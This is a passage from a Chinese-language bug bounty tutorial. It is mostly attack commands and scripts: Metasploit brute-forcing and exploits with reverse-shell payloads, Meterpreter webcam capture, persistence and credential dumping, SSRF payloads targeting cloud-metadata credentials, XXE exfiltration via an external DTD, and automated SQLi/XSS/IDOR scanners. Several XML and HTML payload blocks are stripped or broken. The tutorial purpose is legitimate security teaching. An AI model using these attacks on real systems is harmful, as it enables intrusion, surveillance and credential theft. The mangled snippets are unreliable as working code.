HTTP\u6a19\u984c\u6383\u63cf\nuse auxiliary/scanner/http/http_header\nset RHOSTS 192.168.1.100\nrun\n\n# SSH\u7248\u672c\u6383\u63cf\nuse auxiliary/scanner/ssh/ssh_version\nset RHOSTS 192.168.1.0/24\nrun\n\n# SMB\u6383\u63cf\nuse auxiliary/scanner/smb/smb_version\nset RHOSTS 192.168.1.0/24\nrun\n```\n\n**7.2.2 \u66b4\u529b\u7834\u89e3\u6a21\u7d44**\uff1a\n\n```bash\n# SSH\u66b4\u529b\u7834\u89e3\nuse auxiliary/scanner/ssh/ssh_login\nset RHOSTS 192.168.1.100\nset USERNAME root\nset PASS_FILE /usr/share/wordlists/rockyou.txt\nset THREADS 10\nrun\n\n# HTTP\u8868\u55ae\u66b4\u529b\u7834\u89e3\nuse auxiliary/scanner/http/http_login\nset RHOSTS 192.168.1.100\nset TARGETURI /admin/login.php\nset USERNAME admin\nset PASS_FILE /usr/share/wordlists/common_passwords.txt\nrun\n\n# MySQL\u66b4\u529b\u7834\u89e3\nuse auxiliary/scanner/mysql/mysql_login\nset RHOSTS 192.168.1.100\nset USERNAME root\nset BLANK_PASSWORDS true\nset USER_AS_PASS true\nrun\n```\n\n\n### 7.3 \u57fa\u672cExploit\u4f7f\u7528\n\n**7.3.1 Web\u61c9\u7528\u7a0b\u5f0fExploits**\uff1a\n\n```bash\n# Apache Struts\u6f0f\u6d1e\nuse exploit/multi/http/struts_code_exec_parameters\nset RHOSTS target.com\nset TARGETURI /struts2-showcase/\nset payload java/jsp_shell_reverse_tcp\nset LHOST your_ip\nexploit\n\n# Drupal\u6f0f\u6d1e\nuse exploit/unix/webapp/drupal_drupalgeddon2\nset RHOSTS target.com\nset TARGETURI /\nexploit\n```\n\n**\u6ce8\u610f\u4e8b\u9805**\uff1a\n\n```\n\u274c \u5728Bug Bounty\u4e2d\uff0c\u901a\u5e38\u4e0d\u5efa\u8b70\u4f7f\u7528\u5be6\u969b\u7684exploit\u6a21\u7d44\n\u2705 \u5efa\u8b70\u53ea\u7528\u65bc\u6982\u5ff5\u9a57\u8b49\uff08PoC\uff09\n\u2705 \u512a\u5148\u4f7f\u7528scanner\u548cauxiliary\u6a21\u7d44\n\u2705 \u7e3d\u662f\u7372\u5f97\u660e\u78ba\u6388\u6b0a\u5f8c\u624d\u4f7f\u7528\n```\n\n\n### 7.4 Meterpreter\u57fa\u790e\n\n**7.4.1 Meterpreter\u57fa\u672c\u547d\u4ee4**\uff1a\n\n```bash\n# \u7cfb\u7d71\u8cc7\u8a0a\nsysinfo\ngetuid\ngetpid\n\n# \u6a94\u6848\u7cfb\u7d71\u64cd\u4f5c\npwd\nls\ncd /tmp\ncat /etc/passwd\ndownload /etc/passwd\nupload /root/tool.sh /tmp/\n\n# \u7db2\u8def\u8cc7\u8a0a\nifconfig\nnetstat\nroute\n\n# \u7a0b\u5e8f\u7ba1\u7406\nps\nkill 1234\nmigrate 5678\n\n# \u87a2\u5e55\u622a\u5716\nscreenshot\n\n# \u7db2\u7d61\u651d\u50cf\u982d\nwebcam_list\nwebcam_snap\n\n# \u6301\u4e45\u5316\nrun persistence -U -i 60 -p 4444 -r 192.168.1.50\n```\n\n**7.4.2 \u5f8c\u6ef2\u900f\u6a21\u7d44**\uff1a\n\n```bash\n# \u6b0a\u9650\u63d0\u5347\nuse post/windows/escalate/getsystem\nuse post/linux/escalate/cve2021_4034_pwnkit\n\n# \u8cc7\u8a0a\u6536\u96c6\nuse post/windows/gather/enum_system\nuse post/linux/gather/enum_configs\n\n# \u6191\u8b49\u8f49\u5132\nuse post/windows/gather/credentials/credential_collector\nuse post/linux/gather/pam\n\n# \u7db2\u8def\u63a2\u7d22\nuse post/multi/gather/ping_sweep\nuse post/windows/gather/arp_scanner\n```\n\n\n## \u7b2c\u516b\u90e8\u5206\uff1a\u9032\u968eBug Bounty\u6280\u8853\n\n### 8.1 API\u5b89\u5168\u6e2c\u8a66\n\n**8.1.1 API\u5075\u5bdf\u6280\u8853**\uff1a\n\n```bash\n# API\u7aef\u9ede\u767c\u73fe\n# \u5f9eJavaScript\u6a94\u6848\u4e2d\u63d0\u53d6API\u7aef\u9ede\ncurl -s https://target.com | grep -oE 'src=\"[^\"]*\\.js\"' | cut -d'\"' -f2 | while read js; do\n curl -s \"https://target.com$js\" | grep -oE '/api/[a-zA-Z0-9/_-]*'\ndone | sort -u\n\n# \u5f9erobots.txt\u5c0b\u627eAPI\u8def\u5f91\ncurl -s https://target.com/robots.txt | grep -i api\n\n# \u5e38\u898bAPI\u7aef\u9ede\u5b57\u5178\n/api/v1/\n/api/v2/\n/rest/\n/graphql\n/swagger\n/api-docs\n```\n\n**8.1.2 API\u6e2c\u8a66\u65b9\u6cd5**\uff1a\n\n```bash\n# REST API\u6e2c\u8a66\n# GET\u8acb\u6c42\ncurl -X GET \"https://api.target.com/users/123\" -H \"Authorization: Bearer TOKEN\"\n\n# POST\u8acb\u6c42\ncurl -X POST \"https://api.target.com/users\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"name\":\"test\",\"email\":\"test@test.com\"}'\n\n# PUT\u8acb\u6c42\uff08\u6e2c\u8a66IDOR\uff09\ncurl -X PUT \"https://api.target.com/users/124\" \\\n -H \"Authorization: Bearer TOKEN\" \\\n -d '{\"admin\":true}'\n\n# DELETE\u8acb\u6c42\ncurl -X DELETE \"https://api.target.com/users/123\" \\\n -H \"Authorization: Bearer TOKEN\"\n```\n\n**8.1.3 GraphQL\u6e2c\u8a66**\uff1a\n\n```bash\n# \u5167\u7701\u67e5\u8a62\uff08Introspection\uff09\ncurl -X POST https://target.com/graphql \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"query\": \"query IntrospectionQuery { __schema { queryType { name } mutationType { name } } }\"\n }'\n\n# \u67e5\u8a62\u6240\u6709\u985e\u578b\ncurl -X POST https://target.com/graphql \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"query\": \"{ __schema { types { name } } }\"\n }'\n\n# \u6df1\u5ea6\u67e5\u8a62\u653b\u64ca\ncurl -X POST https://target.com/graphql \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"query\": \"{ users { posts { comments { replies { author { posts { comments } } } } } } }\"\n }'\n```\n\n\n### 8.2 Server-Side Request Forgery (SSRF)\n\n**8.2.1 SSRF\u57fa\u672c\u6982\u5ff5**\uff1a\n\nSSRF\u662f\u4e00\u7a2e\u6f0f\u6d1e\uff0c\u653b\u64ca\u8005\u53ef\u4ee5\u6feb\u7528\u4f3a\u670d\u5668\u529f\u80fd\u4f86\u5b58\u53d6\u6216\u64cd\u4f5c\u4f3a\u670d\u5668\u7121\u6cd5\u76f4\u63a5\u5b58\u53d6\u7684\u8cc7\u6e90\u3002\n\n**8.2.2 SSRF\u6aa2\u6e2c\u65b9\u6cd5**\uff1a\n\n```bash\n# \u57fa\u672cSSRF\u6e2c\u8a66\nhttp://target.com/proxy?url=http://169.254.169.254/\nhttp://target.com/fetch?url=http://localhost:22\nhttp://target.com/api/fetch?url=file:///etc/passwd\n\n# AWS\u5143\u6578\u64da\nhttp://169.254.169.254/latest/meta-data/\nhttp://169.254.169.254/latest/meta-data/iam/security-credentials/\n\n# Google Cloud\u5143\u6578\u64da\nhttp://metadata.google.internal/computeMetadata/v1/\nhttp://169.254.169.254/computeMetadata/v1/\n\n# \u5167\u90e8\u7db2\u8def\u6383\u63cf\nhttp://192.168.1.1/\nhttp://10.0.0.1/\nhttp://172.16.0.1/\n```\n\n**8.2.3 SSRF\u7e5e\u904e\u6280\u8853**\uff1a\n\n```bash\n# URL\u7de8\u78bc\nhttp://target.com/proxy?url=http%3A//169.254.169.254/\n\n# \u96d9\u91cdURL\u7de8\u78bc\nhttp://target.com/proxy?url=http%253A//169.254.169.254/\n\n# IP\u5730\u5740\u8b8a\u5316\nhttp://2130706433/ # localhost\u7684\u5341\u9032\u5236\u8868\u793a\nhttp://0x7f000001/ # localhost\u7684\u5341\u516d\u9032\u5236\u8868\u793a\nhttp://0177.0.0.1/ # localhost\u7684\u516b\u9032\u5236\u8868\u793a\n\n# \u57df\u540d\u7e5e\u904e\nhttp://localtest.me/ # \u89e3\u6790\u5230127.0.0.1\nhttp://lvh.me/ # \u89e3\u6790\u5230127.0.0.1\nhttp://vcap.me/ # \u89e3\u6790\u5230127.0.0.1\n\n# \u91cd\u5b9a\u5411\u7e5e\u904e\n# \u5275\u5efa\u91cd\u5b9a\u5411\u5230\u5167\u90e8IP\u7684URL\nhttp://attacker.com/redirect?to=http://169.254.169.254/\n```\n\n**8.2.4 SSRF\u6f0f\u6d1e\u5229\u7528**\uff1a\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nSSRF\u81ea\u52d5\u5316\u6e2c\u8a66\u8173\u672c\n\"\"\"\nimport requests\nimport sys\n\ndef test_ssrf(target_url, param_name):\n \"\"\"\n \u6e2c\u8a66SSRF\u6f0f\u6d1e\n \"\"\"\n # \u6e2c\u8a66\u76ee\u6a19\u6e05\u55ae\n payloads = [\n \"http://169.254.169.254/latest/meta-data/\",\n \"http://localhost:22\",\n \"http://127.0.0.1:80\",\n \"file:///etc/passwd\",\n \"file:///proc/version\",\n \"http://metadata.google.internal/\",\n \"http://169.254.169.254/computeMetadata/v1/\"\n ]\n \n vulnerable = []\n \n for payload in payloads:\n try:\n params = {param_name: payload}\n response = requests.get(target_url, params=params, timeout=10)\n \n # \u6aa2\u67e5\u56de\u61c9\u5167\u5bb9\n if any(indicator in response.text.lower() for indicator in \n ['meta-data', 'ssh-2.0', 'root:', 'linux version', 'metadata']):\n vulnerable.append(payload)\n print(f\"[+] \u53ef\u80fd\u7684SSRF: {payload}\")\n print(f\" \u56de\u61c9\u9577\u5ea6: {len(response.text)}\")\n print(f\" \u72c0\u614b\u78bc: {response.status_code}\")\n \n except requests.RequestException as e:\n print(f\"[-] \u8acb\u6c42\u5931\u6557 {payload}: {e}\")\n \n return vulnerable\n\nif __name__ == \"__main__\":\n if len(sys.argv) != 3:\n print(\"\u7528\u6cd5: python3 ssrf_test.py \")\n print(\"\u7bc4\u4f8b: python3 ssrf_test.py http://target.com/proxy url\")\n sys.exit(1)\n \n target = sys.argv[^1]\n param = sys.argv[^2]\n \n print(f\"[*] \u6e2c\u8a66SSRF\u6f0f\u6d1e: {target}\")\n vulnerabilities = test_ssrf(target, param)\n print(f\"\\n[*] \u767c\u73fe {len(vulnerabilities)} \u500b\u6f5b\u5728SSRF\u6f0f\u6d1e\")\n```\n\n\n### 8.3 XML External Entity (XXE)\n\n**8.3.1 XXE\u57fa\u672c\u6982\u5ff5**\uff1a\n\nXXE\u662f\u4e00\u7a2e\u653b\u64ca\uff0c\u5229\u7528XML\u8655\u7406\u5668\u4e2d\u7684\u6f0f\u6d1e\u4f86\u5b58\u53d6\u672c\u5730\u6216\u9060\u7a0b\u5167\u5bb9\u3002\n\n**8.3.2 XXE\u6aa2\u6e2c\u6280\u8853**\uff1a\n\n```xml\n\n\n]>\n&xxe;\n\n\n]>\n\n\n %xxe;]>\n\n\n\n\">\n%eval;\n%error;\n]>\n```\n\n**\u5916\u90e8DTD\u6a94\u6848\uff08evil.dtd\uff09**\uff1a\n\n```xml\n\n\">\n%eval;\n%exfil;\n```\n\n**8.3.3 XXE\u81ea\u52d5\u5316\u6e2c\u8a66**\uff1a\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nXXE\u81ea\u52d5\u5316\u6e2c\u8a66\u8173\u672c\n\"\"\"\nimport requests\nimport xml.etree.ElementTree as ET\n\ndef test_xxe(target_url, headers=None):\n \"\"\"\n \u6e2c\u8a66XXE\u6f0f\u6d1e\n \"\"\"\n if headers is None:\n headers = {'Content-Type': 'application/xml'}\n \n # XXE\u6e2c\u8a66\u8ca0\u8f09\n payloads = [\n # \u57fa\u672c\u6a94\u6848\u8b80\u53d6\n '''\n ]>\n &xxe;''',\n \n # Windows\u6a94\u6848\n '''\n ]>\n &xxe;''',\n \n # \u5167\u90e8\u7db2\u8def\u6383\u63cf\n '''\n ]>\n &xxe;''',\n \n # \u5916\u90e8DTD\n '''\n %xxe;]>\n test'''\n ]\n \n vulnerable = []\n \n for i, payload in enumerate(payloads):\n try:\n response = requests.post(target_url, data=payload, headers=headers, timeout=10)\n \n # \u6aa2\u67e5\u662f\u5426\u6210\u529f\u8b80\u53d6\u6a94\u6848\n if any(indicator in response.text for indicator in \n ['root:', 'localhost', 'meta-data', ' {ip_addresses[^0]} [{status_code}] {title}\")\n return result\n \n except dns.resolver.NXDOMAIN:\n pass\n except dns.resolver.Timeout:\n pass\n except Exception as e:\n pass\n \n return None\n \n def extract_title(self, html_content):\n \"\"\"\u5f9eHTML\u4e2d\u63d0\u53d6title\"\"\"\n try:\n start = html_content.lower().find('') + 7\n end = html_content.lower().find('')\n if start > 6 and end > start:\n return html_content[start:end].strip()[:50]\n except:\n pass\n return \"N/A\"\n \n def worker(self):\n \"\"\"\u5de5\u4f5c\u57f7\u884c\u7dd2\"\"\"\n while True:\n try:\n subdomain = self.wordlist_queue.get(timeout=1)\n self.check_subdomain(subdomain)\n self.wordlist_queue.task_done()\n except queue.Empty:\n break\n \n def enumerate(self, wordlist_file, output_file=None):\n \"\"\"\u57f7\u884c\u679a\u8209\"\"\"\n print(f\"[*] \u958b\u59cb\u679a\u8209\u5b50\u57df\u540d\uff1a{self.domain}\")\n \n if not self.load_wordlist(wordlist_file):\n return\n \n # \u555f\u52d5\u57f7\u884c\u7dd2\n threads = []\n for i in range(self.threads):\n t = threading.Thread(target=self.worker)\n t.daemon = True\n t.start()\n threads.append(t)\n \n # \u7b49\u5f85\u5b8c\u6210\n self.wordlist_queue.join()\n \n # \u8f38\u51fa\u7d50\u679c\n print(f\"\\n[+] \u5b8c\u6210\uff01\u767c\u73fe {len(self.found_subdomains)} \u500b\u5b50\u57df\u540d\")\n \n if output_file:\n with open(output_file, 'w') as f:\n for subdomain in sorted(self.found_subdomains):\n f.write(f\"{subdomain}\\n\")\n print(f\"[+] \u7d50\u679c\u5df2\u5132\u5b58\u81f3 {output_file}\")\n \n return list(self.found_subdomains)\n\ndef main():\n parser = argparse.ArgumentParser(description=\"\u5b50\u57df\u540d\u679a\u8209\u5de5\u5177\")\n parser.add_argument(\"-d\", \"--domain\", required=True, help=\"\u76ee\u6a19\u57df\u540d\")\n parser.add_argument(\"-w\", \"--wordlist\", required=True, help=\"\u5b57\u5178\u6a94\u6848\u8def\u5f91\")\n parser.add_argument(\"-t\", \"--threads\", type=int, default=50, help=\"\u57f7\u884c\u7dd2\u6578\")\n parser.add_argument(\"-o\", \"--output\", help=\"\u8f38\u51fa\u6a94\u6848\")\n parser.add_argument(\"--timeout\", type=int, default=5, help=\"\u8d85\u6642\u6642\u9593\")\n \n args = parser.parse_args()\n \n enumerator = SubdomainEnumerator(\n domain=args.domain,\n threads=args.threads,\n timeout=args.timeout\n )\n \n enumerator.enumerate(args.wordlist, args.output)\n\nif __name__ == \"__main__\":\n main()\n```\n\n**9.1.2 \u6f0f\u6d1e\u6383\u63cf\u5668\u958b\u767c**\uff1a\n\n```python\n#!/usr/bin/env python3\n\"\"\"\n\u591a\u529f\u80fdWeb\u6f0f\u6d1e\u6383\u63cf\u5668\n\"\"\"\nimport requests\nimport urllib.parse\nimport re\nfrom bs4 import BeautifulSoup\nimport concurrent.futures\nfrom dataclasses import dataclass\nfrom typing import List, Dict, Optional\n\n@dataclass\nclass Vulnerability:\n type: str\n url: str\n parameter: str\n payload: str\n evidence: str\n severity: str\n\nclass WebVulnScanner:\n def __init__(self, timeout=10, max_workers=20):\n self.timeout = timeout\n self.max_workers = max_workers\n self.vulnerabilities = []\n \n # SQL\u6ce8\u5165\u6e2c\u8bd5\u8ca0\u8f09\n self.sqli_payloads = [\n \"'\", \"\\\"\", \"' OR '1'='1\", \"' OR '1'='1'--\", \n \"' OR '1'='1'/*\", \"\\\" OR \\\"1\\\"=\\\"1\", \n \"' UNION SELECT 1--\", \"'; WAITFOR DELAY '00:00:05'--\"\n ]\n \n # XSS\u6e2c\u8a66\u8ca0\u8f09\n self.xss_payloads = [\n \"alert('XSS')\",\n \"\",\n \"\",\n \"javascript:alert('XSS')\",\n \"'\\\">alert('XSS')\",\n \"\"\n ]\n \n # IDOR\u6e2c\u8a66\u7bc4\u570d\n self.idor_params = ['id', 'user', 'userid', 'account', 'doc', 'file']\n \n def scan_sql_injection(self, url, params):\n \"\"\"SQL\u6ce8\u5165\u6383\u63cf\"\"\"\n for param_name, param_value in params.items():\n for payload in self.sqli_payloads:\n test_params = params.copy()\n test_params[param_name] = payload\n \n try:\n response = requests.get(url, params=test_params, timeout=self.timeout)\n \n # \u6aa2\u67e5SQL\u932f\u8aa4\u8a0a\u606f\n sql_errors = [\n 'mysql_fetch_array', 'ORA-01756', 'Microsoft OLE DB Provider',\n 'PostgreSQL query failed', 'SQLServer JDBC Driver',\n 'sqlite3_prepare_v2', 'mysql_num_rows',\n 'You have an error in your SQL syntax'\n ]\n \n for error in sql_errors:\n if error.lower() in response.text.lower():\n vuln = Vulnerability(\n type=\"SQL Injection\",\n url=url,\n parameter=param_name,\n payload=payload,\n evidence=error,\n severity=\"High\"\n )\n self.vulnerabilities.append(vuln)\n print(f\"[!] SQL\u6ce8\u5165\u6f0f\u6d1e\u767c\u73fe: {url}?{param_name}={payload}\")\n break\n \n except requests.RequestException:\n pass\n \n def scan_xss(self, url, params):\n \"\"\"XSS\u6383\u63cf\"\"\"\n for param_name, param_value in params.items():\n for payload in self.xss_payloads:\n test_params = params.copy()\n test_params[param_name] = payload\n \n try:\n response = requests.get(url, params=test_params, timeout=self.timeout)\n \n # \u6aa2\u67e5payload\u662f\u5426\u88ab\u53cd\u6620\u5728\u56de\u61c9\u4e2d\n if payload in response.text:\n vuln = Vulnerability(\n type=\"Cross-Site Scripting\",\n url=url,\n parameter=param_name,\n payload=payload,\n evidence=\"Payload reflected in response\",\n severity=\"Medium\"\n )\n self.vulnerabilities.append(vuln)\n print(f\"[!] XSS\u6f0f\u6d1e\u767c\u73fe: {url}?{param_name}={payload}\")\n \n except requests.RequestException:\n pass\n \n def scan_idor(self, url, params):\n \"\"\"IDOR\u6383\u63cf\"\"\"\n for param_name, param_value in params.items():\n if param_name.lower() in self.idor_params:\n # \u5617\u8a66\u4e0d\u540c\u7684ID\u503c\n test_ids = ['1', '2', '3', '100', '999', '0', '-1']\n \n original_response = None\n try:\n original_response = requests.get(url, params=params, timeout=self.timeout)\n except requests.RequestException:\n continue\n \n for test_id in test_ids:\n if test_id != param_value:\n test_params = params.copy()\n test_params[param_name] = test_id\n \n try:\n response = requests.get(url, params=test_params, timeout=self.timeout)\n \n # \u6aa2\u67e5\u662f\u5426\u80fd\u5b58\u53d6\u5176\u4ed6\u8cc7\u6e90\n if (response.status_code == 200 and \n response.text != original_response.text and\n len(response.text) > 100):\n \n vuln = Vulnerability(\n type=\"Insecure Direct Object Reference\",\n url=url,\n parameter=param_name,\n payload=test_id,\n evidence=f\"Different response for ID {test_id}\",\n severity=\"Medium\"\n )\n self.vulnerabilities.append(vuln)\n print(f\"[!] IDOR\u6f0f\u6d1e\u767c\u73fe: {url}?{param_name}={test_id}\")\n break\n \n except requests.RequestException:\n pass\n \n def extract_forms(self, url):\n \"\"\"\u63d0\u53d6\u7db2\u9801\u4e2d\u7684\u8868\u55ae\"\"\"\n try:\n response = requests.get(url, timeout=self.timeout)\n soup = BeautifulSoup(response.text, 'html.parser')\n forms = []\n \n for form in soup.find_all('form'):\n form_data = {\n 'action': form.get('action', url),\n 'method': form.get('method', 'get').lower(),\n 'inputs': {}\n }\n \n for input_tag in form.find_all('input'):\n name = input_tag.get('name')\n if name:\n form_data['inputs'][name] = input_tag.get('value', 'test')\n \n forms.append(form_data)\n \n return forms\n except:\n return []\n \n def scan_url(self, url):\n \"\"\"\u6383\u63cf\u55ae\u500bURL\"\"\"\n print(f\"[*] \u6383\u63cfURL: {url}\")\n \n # \u89e3\u6790URL\u53c3\u6578\n parsed_url = urllib.parse.urlparse(url)\n params = urllib.parse.parse_qs(parsed_url.query)\n \n # \u53ea\u53d6\u6bcf\u500b\u53c3\u6578\u7684\u7b2c\u4e00\u500b\u503c\n params = {k: v[^0] if v else '' for k, v in params.items()}\n \n if params:\n base_url = f\"{parsed_url.scheme}://{parsed_url.netloc}{parsed_url.path}\"\n \n # \u57f7\u884c\u5404\u7a2e\u6f0f\u6d1e\u6383\u63cf\n self.scan_sql_injection(base_url, params)\n self.scan_xss(base_url, params)\n self.scan_idor(base_url, params)\n \n # \u6383\u63cf\u8868\u55ae\n forms = self.extract_forms(url)\n for form in forms:\n if form['inputs']:\n action_url = urllib.parse.urljoin(url, form['action'])\n if form['method'] == 'get':\n self.scan_sql_injection(action_url, form['inputs'])\n self.scan_xss(action_url, form['inputs'])\n \n def scan_urls(self, urls):\n \"\"\"\u6383\u63cf\u591a\u500bURL\"\"\"\n print(f\"[*] \u958b\u59cb\u6383\u63cf {len(urls)} \u500bURL\")\n \n with concurrent.futures.ThreadPoolExecutor(max_workers=self.max_workers) as executor:\n futures = [executor.submit(self.scan_url, url) for url in urls]\n concurrent.futures.wait(futures)\n \n print(f\"\\n[+] \u6383\u63cf\u5b8c\u6210\uff01\u767c\u73fe {len(self.vulnerabilities)} \u500b\u6f0f\u6d1e\")\n \n # \u8f38\u51fa\u7d50\u679c\n for vuln in self.vulnerabilities:\n print(f\"\\n\u6f0f\u6d1e\u985e\u578b: {vuln.type}\")\n print(f\"URL: {vuln.url}\")\n print(f\"\u53c3\u6578: {vuln.parameter}\")\n print(f\"\u8ca0\u8f09: {vuln.payload}\")\n print(f\"\u8b49\u64da: {vuln.evidence}\")\n print(f\"\u56b4\u91cd\u6027: {vuln.severity}\")\n print(\"-\" * 50)\n \n def generate_report(self, output_file):\n \"\"\"\u751f\u6210\u5831\u544a\"\"\"\n with open(output_file, 'w') as f:\n f.write(\"Web\u6f0f\u6d1e\u6383\u63cf\u5831\u544a\\n\")\n f.write(\"=\" * 50 + \"\\n\\n\")\n f.write(f\"\u7e3d\u5171\u767c\u73fe {len(self.vulnerabilities)} \u500b\u6f0f\u6d1e\\n\\n\")\n \n for i, vuln in enumerate(self.vulnerabilities, 1):\n f.write(f\"\u6f0f\u6d1e #{i}\\n\")\n f.write(f\"\u985e\u578b: {vuln.type}\\n\")\n f.write(f\"URL: {vuln.url}\\n\")\n f.write(f\"\u53c3\u6578: {vuln.parameter}\\n\")\n f.write(f\"\u8ca0\u8f09: {vuln.payload}\\n\")\n f.write(f\"\u8b49\u64da: {vuln.evidence}\\n\")\n f.write(f\"\u56b4\u91cd\u6027: {vuln.severity}\\n\")\n f.write(\"-\" * 30 + \"\\n\\n\")\n \n print(f\"[+] \u5831\u544a\u5df2\u5132\u5b58\u81f3: {output_file}\")\n\ndef main():\n # \u793a\u4f8b\u4f7f\u7528\n scanner = WebVulnScanner()\n \n # \u8981\u6383\u63cf\u7684URL\u5217\u8868\n urls = [\n \"http://testphp.vulnweb.com/artists.php?artist=1\",\n \"http://testphp.vulnweb.com/listproducts.php?cat=1\",\n \"http://testphp.vulnweb.com/showimage.php?file=./pictures/1.jpg\"\n ]\n \n scanner.scan_urls(urls)\n scanner.generate_report(\"vulnerability_report.txt\")\n\nif __name__ == \"__main__\":\n main()\n```\n\n\n### 9.2 Burp Suite\u64f4\u5c55\u958b\u767c\n\n**9.2.1 \u57fa\u672c\u64f4\u5c55\u7d50\u69cb**\uff1a\n\n```java\n// BurpExtender.java\npackage burp;\n\nimport java.io.PrintWriter;\nimport java.util.ArrayList;\nimport java.util.List;\n\npublic class BurpExtender implements IBurpExtender, IHttpListener, ITab {\n private IBurpExtenderCallbacks callbacks;\n private IExtensionHelpers helpers;\n private PrintWriter stdout;\n private PrintWriter stderr;\n \n @Override\n public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) {\n // \u4fdd\u5b58callbacks\u53c3\u8003\n this.callbacks = callbacks;\n this.helpers = callbacks.getHelpers();\n \n // \u8a2d\u5b9a\u8f38\u51fa\u6d41\n stdout = new PrintWriter(callbacks.getStdout(), true);\n stderr = new PrintWriter(callbacks.getStderr(), true);\n \n // \u8a2d\u5b9a\u64f4\u5c55\u540d\u7a31\n callbacks.setExtensionName(\"Bug Bounty Helper\");\n \n // \u8a3b\u518aHTTP\u76e3\u807d\u5668\n callbacks.registerHttpListener(this);\n \n // \u65b0\u589e\u81ea\u5b9a\u7fa9\u9801\u7c64\n callbacks.addSuiteTab(this);\n \n stdout.println(\"Bug Bounty Helper \u64f4\u5c55\u8f09\u5165\u6210\u529f\uff01\");\n }\n \n @Override\n public void processHttpMessage(int toolFlag, boolean messageIsRequest, \n IHttpRequestResponse messageInfo) {\n // \u53ea\u8655\u7406Proxy\u5de5\u5177\u7684HTTP\u8a0a\u606f\n if (toolFlag == IBurpExtenderCallbacks.TOOL_PROXY) {\n if (messageIsRequest) {\n processRequest(messageInfo);\n } else {\n processResponse(messageInfo);\n }\n }\n }\n \n private void processRequest(IHttpRequestResponse messageInfo) {\n // \u5206\u6790HTTP\u8acb\u6c42\n IRequestInfo request = helpers.analyzeRequest(messageInfo);\n \n // \u6aa2\u67e5\u662f\u5426\u5305\u542b\u654f\u611f\u53c3\u6578\n List parameters = request.getParameters();\n for (IParameter param : parameters) {\n String paramName = param.getName().toLowerCase();\n String paramValue = param.getValue();\n \n // \u6aa2\u67e5\u53ef\u80fd\u7684IDOR\u53c3\u6578\n if (paramName.contains(\"id\") || paramName.contains(\"user\")) {\n stdout.println(\"[IDOR\u6aa2\u67e5] \u767c\u73fe\u6f5b\u5728IDOR\u53c3\u6578: \" + \n param.getName() + \" = \" + paramValue);\n }\n \n // \u6aa2\u67e5\u53ef\u80fd\u7684\u8def\u5f91\u904d\u6b77\n if (paramValue.contains(\"../\") || paramValue.contains(\"..\\\\\")) {\n stdout.println(\"[\u8def\u5f91\u904d\u6b77] \u6aa2\u6e2c\u5230\u8def\u5f91\u904d\u6b77\u5617\u8a66: \" + \n param.getName() + \" = \" + paramValue);\n }\n }\n }\n \n private void processResponse(IHttpRequestResponse messageInfo) {\n // \u5206\u6790HTTP\u56de\u61c9\n IResponseInfo response = helpers.analyzeResponse(messageInfo.getResponse());\n \n // \u6aa2\u67e5\u56de\u61c9\u6a19\u982d\n List headers = response.getHeaders();\n boolean hasSecurityHeaders = false;\n \n for (String header : headers) {\n String headerLower = header.toLowerCase();\n if (headerLower.startsWith(\"x-frame-options\") ||\n headerLower.startsWith(\"x-content-type-options\") ||\n headerLower.startsWith(\"x-xss-protection\") ||\n headerLower.startsWith(\"content-security-policy\")) {\n hasSecurityHeaders = true;\n break;\n }\n }\n \n if (!hasSecurityHeaders) {\n IRequestInfo request = helpers.analyzeRequest(messageInfo);\n stdout.println(\"[\u5b89\u5168\u6a19\u982d] \u7f3a\u5c11\u5b89\u5168\u6a19\u982d\u7684URL: \" + \n request.getUrl().toString());\n }\n }\n \n // ITab\u4ecb\u9762\u5be6\u4f5c\n @Override\n public String getTabCaption() {\n return \"Bug Bounty\";\n }\n \n @Override\n public java.awt.Component getUiComponent() {\n // \u5275\u5efa\u7c21\u55ae\u7684UI\n javax.swing.JPanel panel = new javax.swing.JPanel();\n javax.swing.JLabel label = new javax.swing.JLabel(\n \"\nBug Bounty Helper\" +\n \"\n\u6b64\u64f4\u5c55\u6703\u81ea\u52d5\u6aa2\u67e5\u4ee5\u4e0b\u554f\u984c\uff1a\" +\n \"\n\" +\n \"\n\u6f5b\u5728\u7684IDOR\u53c3\u6578\" +\n \"\n\u8def\u5f91\u904d\u6b77\u653b\u64ca\" +\n \"\n\u7f3a\u5c11\u7684\u5b89\u5168\u6a19\u982d\" +\n \"\"\n );\n panel.add(label);\n return panel;\n }\n}\n```\n\n**9.2.2 \u7de8\u8b6f\u548c\u5b89\u88dd\u64f4\u5c55**\uff1a\n\n```bash\n# \u5275\u5efa\u5c08\u6848\u76ee\u9304\nmkdir burp-extension\ncd burp-extension\n\n# \u4e0b\u8f09Burp Extender API\nwget https://portswigger.net/burp/extender/burp-extender-api-2.3.jar\n\n# \u7de8\u8b6f\u64f4\u5c55\njavac -cp \"burp-extender-api-2.3.jar\" BurpExtender.java\n\n# \u5275\u5efaJAR\u6a94\u6848\njar cf BugBountyHelper.jar BurpExtender.class\n\n# \u5728Burp Suite\u4e2d\u8f09\u5165\n# Extender > Extensions > Add > Extension type: Java > Extension file: BugBountyHelper.jar\n```\n\n\n## \u7b2c\u5341\u90e8\u5206\uff1a\u5831\u544a\u64b0\u5beb\u8207\u6e9d\u901a\u6280\u5de7\n\n### 10.1 \u5c08\u696d\u5831\u544a\u64b0\u5beb\u6a21\u677f\n\n**10.1.1 \u5b8c\u6574\u5831\u544a\u7d50\u69cb**\uff1a\n\n\n# \u6f0f\u6d1e\u5831\u544a - [\u6f0f\u6d1e\u540d\u7a31]\n\n## \u57f7\u884c\u6458\u8981\n- **\u6f0f\u6d1e\u985e\u578b**: Cross-Site Scripting (XSS)\n- **\u56b4\u91cd\u7a0b\u5ea6**: \u4e2d\u7b49\n- **CVSS\u8a55\u5206**: 6.1\n- **\u5f71\u97ff\u7bc4\u570d**: \u6240\u6709\u8a3b\u518a\u7528\u6236\n- **\u4fee\u5fa9\u6642\u9593**: \u5efa\u8b7024\u5c0f\u6642\u5167\u4fee\u5fa9\n\n## \u6f0f\u6d1e\u8a73\u60c5\n\n### 